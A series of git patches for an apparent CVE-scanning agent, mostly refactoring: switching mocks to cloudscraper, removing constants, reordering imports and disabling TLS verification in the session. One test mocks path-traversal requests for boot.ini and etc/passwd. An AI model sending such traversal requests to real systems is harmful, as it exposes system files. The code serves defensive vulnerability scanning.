timeout=DEFAULT_TIMEOUT, verify=False) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return False @@ -82,7 +82,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: if self.check_request.headers is not None: self.check_request.headers.update(req.headers) req.headers = self.check_request.headers # type: ignore - resp = self.session.send(req, timeout=DEFAULT_TIMEOUT, verify=False) + resp = self.session.send(req, timeout=DEFAULT_TIMEOUT) except requests_exceptions.RequestException: return vulnerabilities diff --git a/tests/exploits/cve_2014_0780_test.py b/tests/exploits/cve_2014_0780_test.py index ea49ab1b..13ccb972 100644 --- a/tests/exploits/cve_2014_0780_test.py +++ b/tests/exploits/cve_2014_0780_test.py @@ -43,18 +43,17 @@ def testCVE20140780_whenNotVulnerable_noFindingsReported( ) -> None: """Ensure that there is no findings when the application is not vulnerable.""" exploit_instance = cve_2014_0780.CVE20140780Exploit() - url = "http://8.8.8.8:80" - levels = "../" * DEPTH requests_mock.get( - url + f"/{levels}boot.ini", + f"http://8.8.8.8:80/{'../' * DEPTH}boot.ini", status_code=200, content=b"", ) requests_mock.get( - url + f"/{levels}etc/passwd", + f"http://8.8.8.8:80/{'../' * DEPTH}etc/passwd", status_code=200, content=b"", ) + target = definitions.Target("http", "8.8.8.8", 80) vulnerabilities = exploit_instance.check(target) diff --git a/tests/exploits/cve_2023_27997_test.py b/tests/exploits/cve_2023_27997_test.py index cccc0466..677f20b1 100644 --- a/tests/exploits/cve_2023_27997_test.py +++ b/tests/exploits/cve_2023_27997_test.py @@ -28,7 +28,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] seed += 1 return mock_response - mocker.patch("requests.sessions.Session.post", side_effect=side_effect) + mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="91.135.170.42", port=8443) vulnerabilities = exploit_instance.check(target) diff --git a/tests/exploits/cve_2024_23113_test.py b/tests/exploits/cve_2024_23113_test.py index 9d2791af..190b5759 100644 --- a/tests/exploits/cve_2024_23113_test.py +++ b/tests/exploits/cve_2024_23113_test.py @@ -173,7 +173,7 @@ def testCVE202423113_withHTTPDetection_returnVulnerabilities( """Test HTTP-based detection for various Fortinet products.""" mock_response = mock.MagicMock() mock_response.text = content - mocker.patch("requests.get", return_value=mock_response) + mocker.patch("cloudscraper.CloudScraper.get", return_value=mock_response) exploit_instance = cve_2024_23113.CVE202423113Exploit() target = definitions.Target("tcp", "192.168.1.1", 443) diff --git a/tests/exploits/cve_2024_40725_test.py b/tests/exploits/cve_2024_40725_test.py index d0ca6c18..9c3eea2e 100644 --- a/tests/exploits/cve_2024_40725_test.py +++ b/tests/exploits/cve_2024_40725_test.py @@ -90,8 +90,11 @@ def testCVE202440725_whenSafe_reportNothing() -> None: assert len(vulnerabilities) == 0 -def testCVE202440725_whenNoFilenamesFound_reportNothing(mocker: mock.Mock) -> None: +def testCVE202440725_whenNoFilenamesFound_reportNothing( + mocker: mock.Mock, caplog: pytest.LogCaptureFixture +) -> None: """Test check method when an IOError occurs reading filenames.""" + mocker.patch("cloudscraper.create_scraper") mocker.patch("builtins.open", side_effect=IOError("File not found")) exploit_instance = cve_2024_40725.ApacheSourceCodeDisclosureExploit() @@ -100,8 +103,7 @@ def testCVE202440725_whenNoFilenamesFound_reportNothing(mocker: mock.Mock) -> No vulnerabilities = exploit_instance.check(target) assert len(vulnerabilities) == 0 - - assert "Error reading file list: File not found" + assert "Error reading file list: File not found" in caplog.text def testCVE202440725_whenRequestException_reportLoggedErrors() -> None: @@ -109,7 +111,7 @@ def testCVE202440725_whenRequestException_reportLoggedErrors() -> None: with mock.patch( "agent.exploits.cve_2024_40725._read_filenames", return_value=["index.php"] ), mock.patch( - "agent.exploits.cve_2024_40725.requests.get", + "cloudscraper.CloudScraper.get", side_effect=requests.RequestException("Request error"), ), mock.patch("agent.exploits.cve_2024_40725.logger") as mock_logger: exploit_instance = cve_2024_40725.ApacheSourceCodeDisclosureExploit() @@ -126,8 +128,10 @@ def testCVE202440725_whenRequestException_reportLoggedErrors() -> None: def testCVE202440725_whenHTTPError_reportLoggedErrors() -> None: """Test the check method when requests.Get raises an HTTPError.""" with mock.patch( - "agent.exploits.cve_2024_40725.requests.get", - side_effect=requests.HTTPError("HTTP error"), + "cloudscraper.CloudScraper.get", + side_effect=requests.exceptions.HTTPError( + "HTTP error", response=requests.models.Response() + ), ), mock.patch( "agent.exploits.cve_2024_40725._contains_code_content", return_value=True ), mock.patch("agent.exploits.cve_2024_40725.logger") as mock_logger: @@ -149,8 +153,8 @@ def testCVE202440725_whenHTTPError_reportLoggedErrors() -> None: def testCVE202440725_whenConnectionError_reportLoggedErrors() -> None: """Test the check method when requests.Get raises a ConnectionError.""" with mock.patch( - "agent.exploits.cve_2024_40725.requests.get", - side_effect=requests.ConnectionError("Connection error"), + "cloudscraper.CloudScraper.get", + side_effect=requests.exceptions.ConnectionError("Connection error"), ), mock.patch( "agent.exploits.cve_2024_40725._contains_code_content", return_value=True ), mock.patch("agent.exploits.cve_2024_40725.logger") as mock_logger: @@ -172,8 +176,8 @@ def testCVE202440725_whenConnectionError_reportLoggedErrors() -> None: def testCVE202440725_whenTimeoutError_reportLoggedErrors() -> None: """Test the check method when requests.Get raises a Timeout.""" with mock.patch( - "agent.exploits.cve_2024_40725.requests.get", - side_effect=requests.Timeout("Timeout error"), + "cloudscraper.CloudScraper.get", + side_effect=requests.exceptions.Timeout("Timeout error"), ), mock.patch( "agent.exploits.cve_2024_40725._contains_code_content", return_value=True ), mock.patch("agent.exploits.cve_2024_40725.logger") as mock_logger: diff --git a/tests/exploits/cve_2024_8522_test.py b/tests/exploits/cve_2024_8522_test.py index 4b24aaff..d1f98a5f 100644 --- a/tests/exploits/cve_2024_8522_test.py +++ b/tests/exploits/cve_2024_8522_test.py @@ -77,9 +77,7 @@ def testCheck_whenVulnerable_reportFinding( ) # Patch the 'get' request to return the mocked response - with mock.patch( - "agent.exploits.cve_2024_8522.requests.get", return_value=mock_response - ): + with mock.patch("cloudscraper.CloudScraper.get", return_value=mock_response): exploit_instance = cve_2024_8522.LearnPressSQLInjectionExploit() target = definitions.Target("http", "example.com", 80) @@ -118,7 +116,7 @@ def testCheck_whenRequestException_reportNoVulnerabilities( ) -> None: """Test the check method when a RequestException occurs.""" with mock.patch( - "agent.exploits.cve_2024_8522.requests.get", + "cloudscraper.CloudScraper.get", side_effect=requests.RequestException("Request error"), ): exploit_instance = cve_2024_8522.LearnPressSQLInjectionExploit() @@ -131,12 +129,12 @@ def testCheck_whenRequestException_reportNoVulnerabilities( def testCheck_whenTimeoutError_reportLoggedErrors( - requests_mock: req_mock.mocker.Mocker, caplog: pytest.LogCaptureFixture + caplog: pytest.LogCaptureFixture, ) -> None: """Test the check method when a Timeout error occurs.""" with mock.patch( - "agent.exploits.cve_2024_8522.requests.get", - side_effect=requests.Timeout("Timeout error"), + "cloudscraper.CloudScraper.get", + side_effect=requests.exceptions.Timeout("Timeout error"), ): exploit_instance = cve_2024_8522.LearnPressSQLInjectionExploit() target = definitions.Target("http", "example.com", 80) From 04589acf5ce79ddc8801250de04ec937183f0e3c Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Wed, 23 Oct 2024 11:01:49 +0100 Subject: [PATCH 3/8] mock cloudscraper instead of requests to remove unnecessary overhead --- tests/exploits/cve_2014_7169_test.py | 4 ++-- tests/exploits/cve_2018_14558_test.py | 2 +- tests/exploits/cve_2018_7841_test.py | 4 ++-- 3 files changed, 5 insertions(+), 5 deletions(-) diff --git a/tests/exploits/cve_2014_7169_test.py b/tests/exploits/cve_2014_7169_test.py index 54a26e5a..aea3f47b 100644 --- a/tests/exploits/cve_2014_7169_test.py +++ b/tests/exploits/cve_2014_7169_test.py @@ -23,7 +23,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("requests.sessions.Session.get", side_effect=side_effect) + mocker.patch("cloudscraper.CloudScraper.get", side_effect=side_effect) target = definitions.Target( scheme="http", host="127.0.0.1", port=8081, path="/cgi-bin/vulnerable.cgi" @@ -54,7 +54,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("requests.sessions.Session.get", side_effect=side_effect) + mocker.patch("cloudscraper.CloudScraper.get", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=8081) exploit_instance = cve_2014_7169.CVE20147169Exploit() diff --git a/tests/exploits/cve_2018_14558_test.py b/tests/exploits/cve_2018_14558_test.py index 5385ce74..9fa13870 100644 --- a/tests/exploits/cve_2018_14558_test.py +++ b/tests/exploits/cve_2018_14558_test.py @@ -49,7 +49,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("requests.sessions.Session.post", side_effect=side_effect) + mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_14558.CVE201814558Exploit() diff --git a/tests/exploits/cve_2018_7841_test.py b/tests/exploits/cve_2018_7841_test.py index 4010a8b7..e4219fdd 100644 --- a/tests/exploits/cve_2018_7841_test.py +++ b/tests/exploits/cve_2018_7841_test.py @@ -22,7 +22,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("requests.sessions.Session.post", side_effect=side_effect) + mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_7841.CVE20187841Exploit() @@ -50,7 +50,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("requests.sessions.Session.post", side_effect=side_effect) + mocker.patch("cloudscraper.CloudScraper.post", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_7841.CVE20187841Exploit() From 1c28cb6812a5651de162fce3812a91cb565dd6cf Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Wed, 23 Oct 2024 11:06:07 +0100 Subject: [PATCH 4/8] remove deprecated const --- agent/asteroid_agent.py | 1 - agent/exploits/cve_2014_0780.py | 1 - agent/exploits/cve_2018_10561.py | 1 - agent/exploits/cve_2018_14667.py | 1 - agent/exploits/cve_2023_25280.py | 1 - agent/exploits/cve_2023_27997.py | 1 - agent/exploits/cve_2023_43770.py | 1 - agent/exploits/cve_2024_21733.py | 1 - agent/exploits/cve_2024_4040.py | 1 - agent/exploits/cve_2024_43044.py | 1 - agent/exploits/cve_2024_9487.py | 1 - agent/exploits/webexploit.py | 1 - 12 files changed, 12 deletions(-) diff --git a/agent/asteroid_agent.py b/agent/asteroid_agent.py index 211d74b5..6da757b1 100644 --- a/agent/asteroid_agent.py +++ b/agent/asteroid_agent.py @@ -17,7 +17,6 @@ from agent import definitions from agent import exploits -MAX_REDIRECTS = 2 logging.basicConfig( format="%(message)s", diff --git a/agent/exploits/cve_2014_0780.py b/agent/exploits/cve_2014_0780.py index 1719ff9c..3460726a 100644 --- a/agent/exploits/cve_2014_0780.py +++ b/agent/exploits/cve_2014_0780.py @@ -18,7 +18,6 @@ DEFAULT_TIMEOUT = 90 DEPTH = 10 -MAX_REDIRECTS = 2 @exploits_registry.register diff --git a/agent/exploits/cve_2018_10561.py b/agent/exploits/cve_2018_10561.py index 82b0b672..322d72ba 100644 --- a/agent/exploits/cve_2018_10561.py +++ b/agent/exploits/cve_2018_10561.py @@ -15,7 +15,6 @@ ) DEFAULT_TIMEOUT = 90 -MAX_REDIRECTS = 2 @exploits_registry.register diff --git a/agent/exploits/cve_2018_14667.py b/agent/exploits/cve_2018_14667.py index aa81011e..ad969694 100644 --- a/agent/exploits/cve_2018_14667.py +++ b/agent/exploits/cve_2018_14667.py @@ -24,7 +24,6 @@ JST_PATTERN = re.compile(r"JSF/(.*)") UPPER_VULNERABLE_VERSION = version.parse("3.3.4") VERSION_PATTERN = re.compile(r'href="/a4j/s/(\d+_\d+_\d+)\.Final') -MAX_REDIRECTS = 2 @exploits_registry.register diff --git a/agent/exploits/cve_2023_25280.py b/agent/exploits/cve_2023_25280.py index 69c8fa84..10bddc88 100644 --- a/agent/exploits/cve_2023_25280.py +++ b/agent/exploits/cve_2023_25280.py @@ -15,7 +15,6 @@ VULNERABILITY_DESCRIPTION = """A command injection vulnerability exists in pingV4Msg of component "/ping.ccp" of D-Link DIR820LA1_FW105B03, allowing an attacker to elevate privileges to root via a crafted payload.""" RISK_RATING = "CRITICAL" -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 UNIQUE_VALUE = "44253432" # Result of 123*456*789 diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index b7b464a9..85e044af 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -27,7 +27,6 @@ DEFAULT_TIMEOUT = 90 REQUESTS_PER_GROUP = 400 -MAX_REDIRECTS = 2 def _gen_enc_hdr(salt: bytes, size: int) -> str: diff --git a/agent/exploits/cve_2023_43770.py b/agent/exploits/cve_2023_43770.py index 085db32a..b8a5c87e 100644 --- a/agent/exploits/cve_2023_43770.py +++ b/agent/exploits/cve_2023_43770.py @@ -30,7 +30,6 @@ (version.parse("1.5.0"), version.parse("1.5.3")), (version.parse("1.6.0"), version.parse("1.6.2")), ] -MAX_REDIRECTS = 2 ROUNDCUBE_KEYWORD = "rcmail" diff --git a/agent/exploits/cve_2024_21733.py b/agent/exploits/cve_2024_21733.py index 97298d2b..6cf7e9cf 100644 --- a/agent/exploits/cve_2024_21733.py +++ b/agent/exploits/cve_2024_21733.py @@ -34,7 +34,6 @@ (version.parse("8.5.7"), version.parse("8.5.63")), (version.parse("9.0.0"), version.parse("9.0.43")), ] -MAX_REDIRECTS = 2 # TODO (BlueSquare1): Improve detection as part of request smuggling research project (os-6717). diff --git a/agent/exploits/cve_2024_4040.py b/agent/exploits/cve_2024_4040.py index ffbbfb5a..e73b01e8 100644 --- a/agent/exploits/cve_2024_4040.py +++ b/agent/exploits/cve_2024_4040.py @@ -22,7 +22,6 @@ ) DEFAULT_TIMEOUT = 30 -MAX_REDIRECTS = 2 @exploits_registry.register diff --git a/agent/exploits/cve_2024_43044.py b/agent/exploits/cve_2024_43044.py index 781554d1..204cd9a7 100644 --- a/agent/exploits/cve_2024_43044.py +++ b/agent/exploits/cve_2024_43044.py @@ -20,7 +20,6 @@ MAX_VULNERABLE_LTS_VERSION = version.parse("2.452.3") MAX_VULNERABLE_VERSION = version.parse("2.470") -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 diff --git a/agent/exploits/cve_2024_9487.py b/agent/exploits/cve_2024_9487.py index e280f54c..987497c0 100644 --- a/agent/exploits/cve_2024_9487.py +++ b/agent/exploits/cve_2024_9487.py @@ -10,7 +10,6 @@ from agent import exploits_registry from agent.exploits import webexploit -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = datetime.timedelta(seconds=90) VULNERABILITY_TITLE = "GITHUB ENTERPRISE SERVER AUTHENTICATION BYPASS" VULNERABILITY_REFERENCE = "CVE-2024-9487" diff --git a/agent/exploits/webexploit.py b/agent/exploits/webexploit.py index db475aea..1d1ad704 100644 --- a/agent/exploits/webexploit.py +++ b/agent/exploits/webexploit.py @@ -10,7 +10,6 @@ from agent import definitions from packaging import version -MAX_REDIRECTS = 2 DEFAULT_TIMEOUT = 90 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) From 054e2d6794a36460f143451f397cf490a6bafd05 Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Wed, 23 Oct 2024 11:28:04 +0100 Subject: [PATCH 5/8] fix wrong ssl check disabling --- agent/definitions.py | 1 + agent/exploits/cve_2021_32648.py | 3 +-- tests/exploits/cve_2018_14558_test.py | 2 +- 3 files changed, 3 insertions(+), 3 deletions(-) diff --git a/agent/definitions.py b/agent/definitions.py index 26562cf8..11b71024 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -86,6 +86,7 @@ class Exploit(abc.ABC): def __init__(self) -> None: self.session = cloudscraper.create_scraper() self.session.max_redirects = MAX_REDIRECTS + self.session.verify = False self.session.mount("https://", SSLAdapter()) @abc.abstractmethod diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index 3c6fa658..7de60bfc 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -3,7 +3,6 @@ import logging import random import string -from typing import Optional import re from requests import exceptions as requests_exceptions @@ -52,7 +51,7 @@ def check(self, target: definitions.Target) -> list[definitions.Vulnerability]: return [] - def _get_csrf(self, url: str) -> Optional[str]: + def _get_csrf(self, url: str) -> str | None: """Connect to Host and read the CSRF token so we can use it in POSTS""" csrf_pattern = b'' try: diff --git a/tests/exploits/cve_2018_14558_test.py b/tests/exploits/cve_2018_14558_test.py index 9fa13870..9cfdaa67 100644 --- a/tests/exploits/cve_2018_14558_test.py +++ b/tests/exploits/cve_2018_14558_test.py @@ -21,7 +21,7 @@ def side_effect(*args, **kwargs): # type: ignore[no-untyped-def] mock_response.elapsed = elapsed return mock_response - mocker.patch("requests.sessions.Session.get", side_effect=side_effect) + mocker.patch("cloudscraper.CloudScraper.get", side_effect=side_effect) target = definitions.Target(scheme="https", host="127.0.0.1", port=443) exploit_instance = cve_2018_14558.CVE201814558Exploit() From 2f79d489262c0a80049903aeaa37facb66346028 Mon Sep 17 00:00:00 2001 From: ErebusZ Date: Wed, 23 Oct 2024 11:45:04 +0100 Subject: [PATCH 6/8] remove some unnecessary type ignores --- .mypy.ini | 6 ++++++ agent/definitions.py | 6 +++--- agent/exploits/cve_2016_2386.py | 3 ++- agent/exploits/cve_2018_13382.py | 3 ++- agent/exploits/cve_2018_15133.py | 4 ++-- agent/exploits/cve_2019_12989.py | 4 ++-- agent/exploits/cve_2019_7193.py | 2 +- agent/exploits/cve_2021_32648.py | 4 ++-- agent/exploits/cve_2023_27997.py | 2 +- agent/exploits/cve_2023_43770.py | 2 +- agent/exploits/cve_2024_23113.py | 2 +- agent/exploits/cve_2024_27497.py | 1 + agent/exploits/cve_2024_2879.py | 1 + agent/exploits/cve_2024_28890.py | 1 + agent/exploits/cve_2024_29269.py | 1 + agent/exploits/cve_2024_3273.py | 1 + agent/exploits/cve_2024_34470.py | 1 + agent/exploits/cve_2024_40711.py | 1 + agent/exploits/cve_2024_40725.py | 6 +++--- agent/exploits/cve_2024_40766.py | 2 +- agent/exploits/cve_2024_43044.py | 2 +- agent/exploits/cve_2024_5315.py | 2 +- agent/exploits/cve_2024_6385.py | 1 + agent/exploits/cve_2024_6633.py | 2 +- agent/exploits/cve_2024_7029.py | 1 + agent/exploits/exposed_docker_resgistry_api.py | 2 +- agent/exploits/webexploit.py | 2 +- tests/exploits/cve_2024_6633_test.py | 2 +- 28 files changed, 42 insertions(+), 25 deletions(-) diff --git a/.mypy.ini b/.mypy.ini index bc08cbb3..f8d12c34 100644 --- a/.mypy.ini +++ b/.mypy.ini @@ -34,4 +34,10 @@ ignore_missing_imports = True ignore_missing_imports = True [mypy-cloudscraper.*] +ignore_missing_imports = True + +[mypy-jaydebeapi.*] +ignore_missing_imports = True + +[mypy-pysnmp.*] ignore_missing_imports = True \ No newline at end of file diff --git a/agent/definitions.py b/agent/definitions.py index 11b71024..d9ab2db7 100644 --- a/agent/definitions.py +++ b/agent/definitions.py @@ -1,15 +1,15 @@ """Agent Asteriod definitions""" import abc +import ssl import dataclasses -from packaging import version from typing import Any -import ssl import requests +import cloudscraper +from packaging import version from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin as vuln_mixin -import cloudscraper from agent.exploits import common diff --git a/agent/exploits/cve_2016_2386.py b/agent/exploits/cve_2016_2386.py index d615ead1..c1b420d6 100644 --- a/agent/exploits/cve_2016_2386.py +++ b/agent/exploits/cve_2016_2386.py @@ -3,10 +3,11 @@ import re from urllib import parse as urlparse +from packaging import version from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin -from packaging import version from requests import exceptions as requests_exceptions + from agent import definitions from agent import exploits_registry diff --git a/agent/exploits/cve_2018_13382.py b/agent/exploits/cve_2018_13382.py index 053e73e9..42850b72 100644 --- a/agent/exploits/cve_2018_13382.py +++ b/agent/exploits/cve_2018_13382.py @@ -1,8 +1,9 @@ """Agent Asteroid implementation for CVE-2018-13382: Not tested on a live target.""" -from requests import exceptions as requests_exceptions from urllib3 import exceptions from urllib3 import disable_warnings + +from requests import exceptions as requests_exceptions from ostorlab.agent.mixins import agent_report_vulnerability_mixin from ostorlab.agent.kb import kb diff --git a/agent/exploits/cve_2018_15133.py b/agent/exploits/cve_2018_15133.py index f36a71b0..2ac9b47e 100644 --- a/agent/exploits/cve_2018_15133.py +++ b/agent/exploits/cve_2018_15133.py @@ -3,10 +3,10 @@ import re from urllib import parse as urlparse -from ostorlab.agent.kb import kb -from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version +from ostorlab.agent.kb import kb from requests import exceptions as requests_exceptions +from ostorlab.agent.mixins import agent_report_vulnerability_mixin from agent import definitions from agent import exploits_registry diff --git a/agent/exploits/cve_2019_12989.py b/agent/exploits/cve_2019_12989.py index cfb43a6e..28e4c735 100644 --- a/agent/exploits/cve_2019_12989.py +++ b/agent/exploits/cve_2019_12989.py @@ -3,10 +3,10 @@ import json import random import logging - -from requests import exceptions as requests_exceptions from urllib3 import exceptions from urllib3 import disable_warnings + +from requests import exceptions as requests_exceptions from ostorlab.agent.mixins import agent_report_vulnerability_mixin from ostorlab.agent.kb import kb diff --git a/agent/exploits/cve_2019_7193.py b/agent/exploits/cve_2019_7193.py index dd3b559d..a53de504 100644 --- a/agent/exploits/cve_2019_7193.py +++ b/agent/exploits/cve_2019_7193.py @@ -2,9 +2,9 @@ import re -from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin +from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry diff --git a/agent/exploits/cve_2021_32648.py b/agent/exploits/cve_2021_32648.py index 7de60bfc..f2e8fa62 100644 --- a/agent/exploits/cve_2021_32648.py +++ b/agent/exploits/cve_2021_32648.py @@ -4,10 +4,10 @@ import random import string import re - -from requests import exceptions as requests_exceptions from urllib3 import exceptions from urllib3 import disable_warnings + +from requests import exceptions as requests_exceptions from ostorlab.agent.mixins import agent_report_vulnerability_mixin from ostorlab.agent.kb import kb diff --git a/agent/exploits/cve_2023_27997.py b/agent/exploits/cve_2023_27997.py index 85e044af..675c87ad 100644 --- a/agent/exploits/cve_2023_27997.py +++ b/agent/exploits/cve_2023_27997.py @@ -4,8 +4,8 @@ import re import struct from typing import Any - import numpy as np + import requests from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb diff --git a/agent/exploits/cve_2023_43770.py b/agent/exploits/cve_2023_43770.py index b8a5c87e..83ff8b89 100644 --- a/agent/exploits/cve_2023_43770.py +++ b/agent/exploits/cve_2023_43770.py @@ -3,8 +3,8 @@ import re from urllib import parse as urlparse -from requests import exceptions as requests_exceptions import requests +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from packaging import version diff --git a/agent/exploits/cve_2024_23113.py b/agent/exploits/cve_2024_23113.py index e3fceaa1..6340c8bb 100644 --- a/agent/exploits/cve_2024_23113.py +++ b/agent/exploits/cve_2024_23113.py @@ -9,7 +9,7 @@ from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin -from pysnmp import hlapi # type: ignore +from pysnmp import hlapi from agent import definitions from agent import exploits_registry diff --git a/agent/exploits/cve_2024_27497.py b/agent/exploits/cve_2024_27497.py index 37fdd539..c6ecf756 100644 --- a/agent/exploits/cve_2024_27497.py +++ b/agent/exploits/cve_2024_27497.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-27497""" import re + from agent import definitions from agent import exploits_registry from agent.exploits import webexploit diff --git a/agent/exploits/cve_2024_2879.py b/agent/exploits/cve_2024_2879.py index 925201a4..3dc8a021 100644 --- a/agent/exploits/cve_2024_2879.py +++ b/agent/exploits/cve_2024_2879.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-2879""" import re + from agent import definitions from agent import exploits_registry from agent.exploits import webexploit diff --git a/agent/exploits/cve_2024_28890.py b/agent/exploits/cve_2024_28890.py index b1c6c94a..3a70fdd8 100644 --- a/agent/exploits/cve_2024_28890.py +++ b/agent/exploits/cve_2024_28890.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-28890""" import re + from agent import definitions from agent import exploits_registry from agent.exploits import webexploit diff --git a/agent/exploits/cve_2024_29269.py b/agent/exploits/cve_2024_29269.py index cdddfe2e..4f38834a 100644 --- a/agent/exploits/cve_2024_29269.py +++ b/agent/exploits/cve_2024_29269.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-29269""" import re + from agent import definitions from agent import exploits_registry from agent.exploits import webexploit diff --git a/agent/exploits/cve_2024_3273.py b/agent/exploits/cve_2024_3273.py index efa20994..9e8a37cf 100644 --- a/agent/exploits/cve_2024_3273.py +++ b/agent/exploits/cve_2024_3273.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-3273""" import re + from agent import definitions from agent import exploits_registry from agent.exploits import webexploit diff --git a/agent/exploits/cve_2024_34470.py b/agent/exploits/cve_2024_34470.py index cd2301df..98d951b8 100644 --- a/agent/exploits/cve_2024_34470.py +++ b/agent/exploits/cve_2024_34470.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-34470""" import re + from packaging import version from agent.exploits import webexploit from agent import exploits_registry diff --git a/agent/exploits/cve_2024_40711.py b/agent/exploits/cve_2024_40711.py index a6ccb613..0f87eeed 100644 --- a/agent/exploits/cve_2024_40711.py +++ b/agent/exploits/cve_2024_40711.py @@ -2,6 +2,7 @@ import logging import re + from packaging import version import requests from requests import exceptions as requests_exceptions diff --git a/agent/exploits/cve_2024_40725.py b/agent/exploits/cve_2024_40725.py index d4738abd..602f53b1 100644 --- a/agent/exploits/cve_2024_40725.py +++ b/agent/exploits/cve_2024_40725.py @@ -4,15 +4,15 @@ import re import logging -from requests import exceptions as requests_exceptions -import semantic_version -import cloudscraper import pathlib +import cloudscraper +import semantic_version from pygments import highlight from pygments import lexers from pygments import formatters from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin +from requests import exceptions as requests_exceptions from agent import definitions from agent import exploits_registry diff --git a/agent/exploits/cve_2024_40766.py b/agent/exploits/cve_2024_40766.py index 1fd65237..e814cbee 100644 --- a/agent/exploits/cve_2024_40766.py +++ b/agent/exploits/cve_2024_40766.py @@ -3,7 +3,7 @@ import logging import re -from pysnmp import hlapi # type: ignore +from pysnmp import hlapi from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin from agent import definitions diff --git a/agent/exploits/cve_2024_43044.py b/agent/exploits/cve_2024_43044.py index 204cd9a7..2fb0b4a4 100644 --- a/agent/exploits/cve_2024_43044.py +++ b/agent/exploits/cve_2024_43044.py @@ -1,11 +1,11 @@ """Agent Asteroid implementation for CVE-2024-43044""" import re -from packaging import version from urllib import parse as urlparse import requests from requests import exceptions as requests_exceptions +from packaging import version from agent.exploits import webexploit from agent import exploits_registry diff --git a/agent/exploits/cve_2024_5315.py b/agent/exploits/cve_2024_5315.py index dcd86e7f..ee0303ed 100644 --- a/agent/exploits/cve_2024_5315.py +++ b/agent/exploits/cve_2024_5315.py @@ -1,10 +1,10 @@ """Agent Asteroid implementation for CVE-2024-5315""" import re + from packaging import version from agent.exploits import webexploit - from agent import definitions from agent import exploits_registry diff --git a/agent/exploits/cve_2024_6385.py b/agent/exploits/cve_2024_6385.py index 59f7f570..26413deb 100644 --- a/agent/exploits/cve_2024_6385.py +++ b/agent/exploits/cve_2024_6385.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-6385""" import re + from agent import definitions from agent import exploits_registry from agent.exploits import webexploit diff --git a/agent/exploits/cve_2024_6633.py b/agent/exploits/cve_2024_6633.py index 216063e3..17335bfe 100644 --- a/agent/exploits/cve_2024_6633.py +++ b/agent/exploits/cve_2024_6633.py @@ -2,8 +2,8 @@ import logging import socket -import jaydebeapi # type: ignore +import jaydebeapi from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin diff --git a/agent/exploits/cve_2024_7029.py b/agent/exploits/cve_2024_7029.py index 4129c39a..60f0d0ea 100644 --- a/agent/exploits/cve_2024_7029.py +++ b/agent/exploits/cve_2024_7029.py @@ -1,6 +1,7 @@ """Agent Asteroid implementation for CVE-2024-7029""" import re + from agent import definitions from agent import exploits_registry from agent.exploits import webexploit diff --git a/agent/exploits/exposed_docker_resgistry_api.py b/agent/exploits/exposed_docker_resgistry_api.py index f81cd5be..5d854718 100644 --- a/agent/exploits/exposed_docker_resgistry_api.py +++ b/agent/exploits/exposed_docker_resgistry_api.py @@ -3,8 +3,8 @@ import logging import json -from requests import exceptions as requests_exceptions import cloudscraper +from requests import exceptions as requests_exceptions from ostorlab.agent.kb import kb from ostorlab.agent.mixins import agent_report_vulnerability_mixin diff --git a/agent/exploits/webexploit.py b/agent/exploits/webexploit.py index 1d1ad704..6646c3e6 100644 --- a/agent/exploits/webexploit.py +++ b/agent/exploits/webexploit.py @@ -4,11 +4,11 